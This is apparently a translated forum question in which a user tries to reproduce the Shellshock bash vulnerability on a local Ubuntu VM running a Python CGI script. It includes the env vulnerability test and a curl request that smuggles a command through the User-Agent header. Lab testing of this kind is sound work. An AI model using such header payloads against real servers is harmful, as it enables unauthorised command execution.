Невозможно воспроизвести ошибку ShellShock локально
Я безуспешно пытался воспроизвести ошибку Shellshock на моей локальной виртуальной машине Ubuntu 14.04. Я знаю, что моя локальная версия bash все еще уязвима, потому что следующая команда выводит закомментированную часть:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test
Моя текущая установка - это очень простой Python CGI-скрипт, работающий на Apache2. Предполагая, что моя конфигурация виртуального хоста просто работает, вот мой скрипт Python во всей его красе:
#!/usr/bin/python
import os
val = os.environ.get('HTTP_USER_AGENT')
print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"
Я вызываю эту веб-страницу, используя curl и следующую команду:
curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py
Выход:
<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>
Как видите, атака передается на страницу, но в домашнем каталоге ничего не создается. Есть какие-нибудь подсказки, почему атака не работает? Соответствующие подробности о моей версии bash:
adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)
Также я должен отметить, что мой /bin/sh
связан с /bin/dash
в случае, если это имеет значение, хотя это также уязвимо, так как вышеуказанный тест на уязвимость все еще работает.